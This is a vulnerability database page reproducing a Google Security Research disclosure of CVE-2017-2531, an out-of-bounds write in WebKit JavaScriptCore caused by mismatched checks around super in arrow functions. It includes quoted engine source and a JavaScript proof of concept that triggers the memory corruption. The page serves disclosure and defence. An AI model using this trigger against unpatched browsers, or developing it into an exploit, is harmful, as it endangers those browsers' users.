Lucene search
K

WebKit JSC emitPutDerivedConstructorToArrowFunctionContextScope Incorrect Check

🗓️ 01 Jun 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 64 Views

Incorrect check in WebKit JSC for arrow function context scope security issu

Related
Code
` WebKit: JSC: incorrect check in emitPutDerivedConstructorToArrowFunctionContextScope   
  
CVE-2017-2531  
  
  
When a super expression is used in an arrow function, the following code, which generates bytecode, is called.  
  
if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {  
bool canReuseLexicalEnvironment = isSimpleParameterList;  
initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);  
emitPutThisToArrowFunctionContextScope();  
emitPutNewTargetToArrowFunctionContextScope();  
emitPutDerivedConstructorToArrowFunctionContextScope();  
}  
  
Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.  
  
void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()  
{  
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {  
if (isSuperUsedInInnerArrowFunction()) {  
ASSERT(m_arrowFunctionContextLexicalEnvironmentRegister);  
  
Variable protoScope = variable(propertyNames().builtinNames().derivedConstructorPrivateName());  
emitPutToScope(m_arrowFunctionContextLexicalEnvironmentRegister, protoScope, &m_calleeRegister, DoNotThrowIfNotFound, InitializationMode::Initialization);  
}  
}  
}  
  
|emitPutToScope| is directly called without resolving the scope. This means the scope |m_arrowFunctionContextLexicalEnvironmentRegister| must have a place for |derivedConstructorPrivateName|. And that place is secured in the following method.  
  
void BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded(SymbolTable* functionSymbolTable, bool canReuseLexicalEnvironment)  
{  
ASSERT(!m_arrowFunctionContextLexicalEnvironmentRegister);  
  
if (canReuseLexicalEnvironment && m_lexicalEnvironmentRegister) {  
...  
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction()) {  
offset = functionSymbolTable->takeNextScopeOffset(NoLockingNecessary);  
functionSymbolTable->set(NoLockingNecessary, propertyNames().builtinNames().derivedConstructorPrivateName().impl(), SymbolTableEntry(VarOffset(offset)));  
}  
...  
}  
...  
}  
  
But the problem is that the checks in |emitPutDerivedConstructorToArrowFunctionContextScope| and |initializeArrowFunctionContextScopeIfNeeded| are slightly diffrent.  
  
BytecodeGenerator::initializeArrowFunctionContextScopeIfNeeded:  
if (isConstructor() && constructorKind() == ConstructorKind::Extends && isSuperUsedInInnerArrowFunction())  
  
BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope:  
if ((isConstructor() && constructorKind() == ConstructorKind::Extends) || m_codeBlock->isClassContext()) {  
if (isSuperUsedInInnerArrowFunction()) {  
  
Note: " || m_codeBlock->isClassContext()".  
  
So, in a certain case, it fails to secure the place for |derivedConstructorPrivateName|, but |emitPutToScope| is called, which results in an OOB write.  
  
PoC:  
let args = new Array(0x10000);  
args.fill();  
args = args.map((_, i) => 'a' + i).join(', ');  
  
let gun = eval(`(function () {  
class A {  
  
}  
  
class B extends A {  
constructor(${args}) {  
() => {  
${args};  
super();  
};  
  
class C {  
constructor() {  
}  
  
trigger() {  
(() => {  
super.x;  
})();  
}  
}  
  
return new C();  
}  
}  
  
return new B();  
})()`);  
  
for (let i = 0; i < 0x10000; i++)  
gun.trigger();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jun 2017 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.06301
64